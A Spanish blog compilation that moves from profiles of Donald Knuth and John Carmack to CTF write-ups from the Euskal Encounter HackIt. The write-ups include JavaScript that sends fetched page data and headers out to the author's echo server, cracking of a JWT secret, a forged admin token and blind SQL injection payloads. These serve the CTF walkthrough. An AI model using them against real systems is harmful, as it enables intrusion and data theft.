El siguiente en mi lista es un abuelete on steroids. Donald Knuth (1938, 82 años). Uno de los titanes de la informática. Creó el sistema de tipografía TeX, base de LaTeX, usado para la composición de documentos científicos con alta calidad tipográfica.
Tardó ocho años en programarlo (1970-78) y todo empezó con un enfado.
Cuando terminó de redactar el segundo volumen de su serie de libros «El arte de la programación de ordenadores», esperaba recibir una galerada con la misma tipografía que el primer volumen, creada en una máquina Monotype
En esta máquinas cada letra se funde en un molde de metal que luego, agrupadas, se usan para imprimir las copias. El estilo le encantaba a nuestro abuelo.
Pero esa máquina dejó de existir y los resultados de la nueva no satisfacían a Knuth. Así que escribió un documento en el que trataba de explicar su visión de TeX como nuevo sistema de tipografía. Me gusta el primer párrafo introductorio (recordad, un documento de 1977)
«Even though I don’t understand TEX very well myself yet, I think the best way for me to get
started is by trying to explain it to somebody else.»
Me gusta porque me recuerda una técnica de debugging: para entender mejor cómo funciona un programa y detectar el error que te está volviendo loco, trata de explicar el funcionamiento del mismo a otra persona, o incluso a ti mismo – como si hablaras para otro-, línea a línea.
Incluso hay una técnica de debugging conocida como rubber duck debugging https://en.wikipedia.org/wiki/Rubber_duck_debugging
donde la idea es explicarle el código a un patito de goma que tengas al lado (la cara con la que te mirarán los compañeros no debe influirte 🙂
Knuth recibió el premio ACM Turing en 1974 por sus contribuciones al análisis de algoritmos, en particular por sus contribuciones a la serie de libros «The art of computer programming» (TAOCP), que aún sigue escribiendo
Son 7 volúmenes en total y actualmente está redactando el 4º, del que ya hay 6 fascículos. Una máquina el tío Donald.
Hay dos anécdotas que ilustran la forma de vivir, pensar y trabajar de Knuth. La primera está relacionada con su obsesión por la precisión y detalle.
Su compromiso con la calidad en la redacción de los volúmenes del TAOCP es tal que se permite el lujo de pagar $2.56 por cualquier error tipográfico (o errata) que descubras en alguno de sus volúmenes (¿por qué esa cifra? Bueno, «256 pennies is one hexadecimal dollar» 🙂
Otra anécdota de Knuth es que no usa el email. Hay muchas razones, pérdida de tiempo, ansiedad por intentar responder a todo o por esperar que los demás hagan lo mismo… pero me gusta la primera razón que él mismo explica en este fragmento de vídeo:
“my role in life is not to be on the top of things as much as to be on the bottom of things”
Me encanta esta filosofía y creo que es lo que deberíamos lograr, aunque en tiempos de Twitter, Twitch, Facebook, WhatsApp y demás, es realmente complicado desengancharse y centrarse.
Algunos programadores afirman que si trabajaran solos serían más rápidos y entregarían resultados de mayor calidad. En la historia de la informática ha habido programadores que, de forma individual o acompañados por otro compañero/a, han conseguido crear auténticas maravillas…
En ingeniería software se les conoce como one-man-army programmers. Hay tres que siempre me han llamado la atención. Hoy quiero hablaros de uno de ellos, John Carmack 👇
A mediados de 1980, John Carmack y John Romero se conocieron en una pequeña compañía tecnológica de Louisiana. Su pasión por la programación y los videojuegos les llevó a fundar la mítica id Software https://www.ionlitio.com/historia-id-software-los-dos-johns/
Fue allí donde Carmack programó el motor de Wolfenstein, Doom y Quake. Juegos que cambiaron el mundo.
Carmack representa el genio obsesivo y un tanto nerd a la vez que el virtuosismo en programación. Romero el compañero con muy buenas ideas, arte diseñando y conocimiento sobre lo que debe ofrecer un buen videojuego.
Ojo, Romero también es un buen programador y de hecho aparece en los créditos de Doom como programador y diseñador pero es a Carmack a quien se le atribuye el grueso del desarrollo.
El motor 3d, la ambientación, luces y texturas, acción, humor gore y el soporte de juego en red, hicieron de sus creaciones auténticas obras de arte seguidas por una legión de jugadores.
Recuerdo cómo quedábamos en las salas de informática de la facultad a jugar en red O:)
La historia de Carmack y Romero está documentada en un libro muy recomendable, Masters of Doom, de David Kushner https://www.amazon.com/dp/0375505245
Me gusta la idea que dejó un lector en la página de comentarios: «Carmack fue el luthier, quien construía las guitarras y Romero el músico que conseguía sacarles las mejores canciones».
John Carmack (1970, cerca de los 50 tacos) sigue en la brecha y aunque trabajó como CTO de Oculus VR (y a día de hoy sigue como consultor CTO), decidió dedicar su tiempo a profundizar en el campo de la IA. Seguramente veamos pronto sus frutos.
Como decíamos en el anterior post, esta vez tenemos que usar http://blind_hacker_forum. Vamos allá.
Modificamos index.js para que haga un fetch a la nueva url y nos devuelva el resultado vía POST a nuestro servidor echo.
fetch("http://blind_hacker_forum").then( res => res.text()).then(
data => {
fetch("http://ikasten.io:3000/echo", {
method: 'POST',
body: data
});
})
Observamos el resultado:
BLIND HACKER ACTUAL FORUM
Improved security, changed the engine to keep data and began to listen to rock & roll!
Meet token.php and share your indextoken.
Vaya, hay que acudir a token.php y obtener indextoken. Aquí probé a acudir a token.php del nuevo servidor, pero no, hay que ir al token.php de http://blind_hacker.
Improved security, changed the engine to keep data and began to listen to rock & roll!
Meet /token and share your forumtoken.
Un nuevo twist a la trama 🙂 Aparte del indextoken de blind_hacker es necesario pasar el forumtoken obtenido de http://blind_hacker_forum/token. Tenemos que analizar cómo nos devuelve dicho /token.
fetch("http://blind_hacker_forum/token").then(res => res.text()).then(
data => {
fetch("http://ikasten.io:3000/echo", {
method: 'POST',
body: data
});
});
Bueno, no parece complicado:
BLIND HACKER ACTUAL FORUM
Improved security, changed the engine to keep data and began to listen to rock & roll!
There you go -> ceqjaobnxbtsmxaqdivkulqmuteimmpxpkjjsugsxksyxoednhyjuuahcd
Pero ojo, aunque la última línea sigue la misma estructura que el indextoken, nos está enviando por delante todo el HTML del forum… Así que vamos a cambiar ligeramente el split() que usamos para obtener el token, así:
Improved security, changed the engine to keep data and began to listen to rock & roll!
You were not authed, but I have just sent you a guest permission.
Mmmh… ¿nos ha enviado permisos de invitado? ¿Dónde? Lo único que no capturamos por ahora son las cabeceras de la respuesta. Me temo que ya sé dónde nos envía el “guest permission”. Vamos a comprobarlo.
Necesitamos modificar nuestro proxy para que además del body de la respuesta nos rebote los headers de la misma. Afortunadamente en JavaScript disponemos de la clase Headers, que podemos usar tanto para capturar las cabeceras de la respuesta como para enviar headers propios en la petición.
Básicamente, nuestro hooked browser debe responder con un echo de las cabeceras que encuentre:
fetch("http://blind_hacker_forum/?indextoken="+indextoken+"&forumtoken="+forumtoken).then(
res => { let respuesta = res.text();
for (var p of res.headers)
respuesta += p + "\n";
return respuesta;
}
).then(
data => {
fetch("http://ikasten.io:3000/echo", {
method: 'POST',
body: data
});
}) }) })
Intenté distintas estrategias de ataque contra JWT hasta que recurrí a la fuerza bruta para intentar descubrir la clave con la que se firma el token JWT. A ser posible usando un diccionario y tal vez por aquello de “listen to rock & roll”, el rockyou.txt podría ser una buena opción, pero me daba algunos problemas por caracteres no reconocidos como utf-8, así que use un simple diccionario de palabras comunes con este cracker JWT :
$ python jwtcat.py wordlist -w /tmp/common.txt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o
2020-06-11 22:58:19,666 Juanan-2.local __main__[6659] INFO Pour yourself a cup (or two) of ☕ as this operation might take a while depending on the size of your wordlist. | 1225/4658 [00:00<00:00, 13276.10it/s]
2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Private key found: cookie
2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Finished in 0.15151715278625488 sec
Bonito secret key: cookie :)
Ya podemos cambiar el valor del payload del JWT y lanzarlo contra el forum, a ver qué pasa.
El resultado (pwn) hay que enviarlo como cabecera desde el hooked browser hasta el servidor blind_hacker_forum. Como ya se ha comentado, esto podemos hacerlo con la clase Headers:
Si enviamos el token JWT sin modificar, obtendremos la siguiente respuesta:
BLIND HACKER ACTUAL FORUM
Improved security, changed the engine to keep data and began to listen to rock & roll!
It's a match!
Forging the payload
¿Qué ocurrirá si modificamos el atributo is_admin: no para que sea is_admin: yes?
let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"yes"};
Algo muy interesante:
BLIND HACKER ACTUAL FORUM
Improved security, changed the engine to keep data and began to listen to rock & roll!
There was an error, please have a look *carefully* and check everything: SELECT username, password, email, is_admin FROM userinfo WHERE username = 'guest' AND password = 'h4x0r' AND email = 'guest@where.ever' AND is_admin = 'yes'
Dos respuestas, una en la que conseguimos un true o similar y otra en la que conseguimos un false o similar implican que podemos consultar la BBDD a través de Blind SQL. Podemos verificarlo inyectando estos dos payload:
is_admin=’no<strong>' AND 1=1--"</strong>
Devuelve un It’s a match. (TRUE, la condición se cumple)
is_admin=’no<strong>’ AND 1=0--"</strong>
Devuelve el mensaje de error SQL. (FALSE, la condición no se cumple)
El problema es que la inyección debemos introducirla a través del payload JWT. Vamos allá….
SQLMap al rescate
De nuevo, la herramienta proxy que hemos desarrollado para superar la primera parte de este reto nos va a venir de perlas ahora (usar la rama forumtoken en esta ocasión). Por supuesto, la siguiente línea llevó muuuuchas horas extraerla, pero bueno, esa parte del aprendizaje me la quedo:
Nota: --skip-urlencode es necesario porque el carácter % está filtrado en blind_hacker_forum
También están filtrados los signos “<” y “>”, de ahí el tamper=between que implementa estas sustituciones:
>>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
Finalmente el payload de SQLmap debemos pasárselo como parámetros POST a nuestro proxy sin indicar variables, de ahí el --data=”*” (el asterisco indica punto de inyección). Nuestro proxy añadirá esa inyección aquí:
let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"no" + inyeccion};
Codificará el JWT y lo enviará a blind_hacker_forum (a través del socket, etc.)
Creo que esta prueba nos llevó más del 50% del tiempo del HackIt de este año :-O , pero es el tipo de prueba que nos encanta: sabes lo que hay que hacer, pero es un camino tortuoso, doloroso y complejo. A por ello 🙂
El título de la prueba siempre lleva alguna pista a modo de juego de palabras. Ese cubo en forma de superíndice…
Analizamos el dump y vemos que se trata de un pcap. Lo abrimos con Wireshark y curioseamos un rato.
No puede faltar una prueba con Wireshark en un HackIt que se precie 🙂
Ese puerto tcp/25565 se nos hace conocido…
También se podía deducir que era una captura del protocolo de Minecraft mirando los strings. Aparece algo como «generic.movementSpeed?». Buscándolo en Google nos lleva a Minecraft, sin duda.
Yep, Minecraft. En el servidor 51.15.21.7. Aquí otra vez fuimos troleados por @imobilis… o tal vez se trataba de un easter-egg en la prueba 🙂 El caso es que ese servidor existe (!) y tiene un mundo en el que apareces encima de una torre de la que no es posible salir. Incluso tiene mensajes en algunos carteles (por supuesto los probamos todos, sin éxito), como el de la imagen (Mundo Survival Kots)
Anda que no estuvimos tiempo «jugando» en esta torre. Los mensajes son pistas falsas.
El dump tiene mensajes enviados del cliente (10.11.12.52) al servidor (51.15.21.7) y viceversa. El payload de los mensajes es (parecía!) claro y se puede extraer con tshark.
Aquí nos las prometíamos muy felices, porque vimos que había analizadores del protocolo Minecraft para Wireshark, como este o este. Todo muy de color rosa… hasta que nos fijamos en la fecha del último commit: 2010. Qué bien… no nos valen para nada. Así que, nos remangamos, fuimos a por café, y nos pusimos a estudiar la especificación del protocolo Minecraft, que está escrito por alguien que parece que tomaba apuntes de una charla, más que una especificación bien redactada. Hay exactamente 0 ejemplos de las partes más engorrosas (VarInt, packets with compression, …) En fin, nuestro compañero Joserra, un Excel wizard, decidió que nuestros scripts eran una **** mierda y que lo iba a hacer en Excel ¯_(ツ)_/¯
Si tomamos el primer payload, 001b es el tamaño del paquete (27 bytes), 0x10 el packetID y 408d2e07aeae7d91401400000000000040855ae9b632828401 el payload del paquete. El 0x10 es el ID de un paquete de tipo «Player Position» (Bound to server indica que es el cliente el que le envía al servidor). El payload se divide en 4 campos: x (double), feet y (double), z (double), «on ground» (boolean). Todos los paquetes de posición (0x10, server bound) son impares, por lo que terminan en 1 (true, on ground). Nos interesa conocer x, y, z.
x= 408d 2e07 aeae 7d91 y = 4014 0000 0000 0000 z = 4085 5ae9 b632 8284
Para pasar de hex a double, invocamos una macro, hex2dbl
No es la primera vez que resolvemos una prueba con Excel 🙂
y obtenemos las posiciones x,y,z.
Finalmente, generamos un gráfico de dispersión y obtenemos la clave 🙂
@imobilis tuvo que pasarse horas para conseguir mover el jugador de Minecraft por el mapa hasta conseguir trazar el texto. Si nos fijamos siempre empieza de un punto, baja y vuelve a subir a ese punto para trazar la siguiente letra. Analizando el payload, la altura de esa zona superior es distinta a la altura de donde dibuja las letras. Probablemente. en el juego tenía una especie de escalón que le marcaba la zona «segura» (donde se podía desplazar hacia la derecha, para pintar la siguiente letra). ¡Menudo curro!
Atentos a las mayúsculas, minúsculas, 0 vs. O, 1 vs. I, etc… Fue la troleada final a una buena prueba 🙂
BLoCkD3f1nEdPrOt0coL
UPDATE: @navarparty (los primeros en lograr superar este reto) ha publicado su solución (en Go!). Thanks @tatai! También recomiendo leer el write-up de w0pr y su elegante solución en Python + pygame.
Un año más, y van ya 20, asistimos a la Euskal Encounter con ganas de darlo todo, en especial al HackIt! y al CTF. En este HackIt! de la EE27 hemos sudado la gota gorda para pasar 3 pruebas de 6, logrando un segundo puesto, lo cual indica el nivel de dificultad. Eso sí, todas ellas han sido pensadas y muy curradas, por lo que lo primero, como siempre, es agradecer el trabajo de @imobilis y @marcan42. La verdad, sólo imaginar lo que costó implementar alguna de ellas (el level 3 de Minecraft en concreto pudo ser un dolor… o el 6, con la tira de leds y el LFSR en la imagen) hace que quiera invitarles a algo para que vuelvan el año que viene con nuevas ideas 🙂 En fin, entremos en harina, level1, Extreme Simplicity.
Abrimos el código fuente y vemos el siguiente trozo en JS:
Aquí empezamos a perder el tiempo (business as usual 🙂 debugueando con las DevTools. Creamos un nuevo snippet, pegamos el código, pulsamos en {} para un pretty-print, insertamos una última línea: console.log( q(‘password’) ), metemos un breakpoint en la línea 2 de q() y
ejecutamos la función paso a paso… Bien, así se podría resolver, pero nos llevaría unas horas… Alguien del grupo, con muy buen criterio, no sólo vió que ese código era BrainFuck, sino que pensó que traducirlo a lenguaje C era un buen primer paso. Clonamos este traductor, lo ejecutamos sobre el BrainFuck y obtenemos este sencillo programa.
Si nos fijamos, vemos el código de varios caracteres ASCII (84, 52, 114…), así que, antes de nada, probamos esa secuencia y… ¡Bingo!
file = open("bf.c", "r")
for line in file:
match = re.search(r'tape.*-= ([0-9]*)', line)
if (match):
if int(match.group(1)) > 13:
print(chr(int(match.group(1))), end='')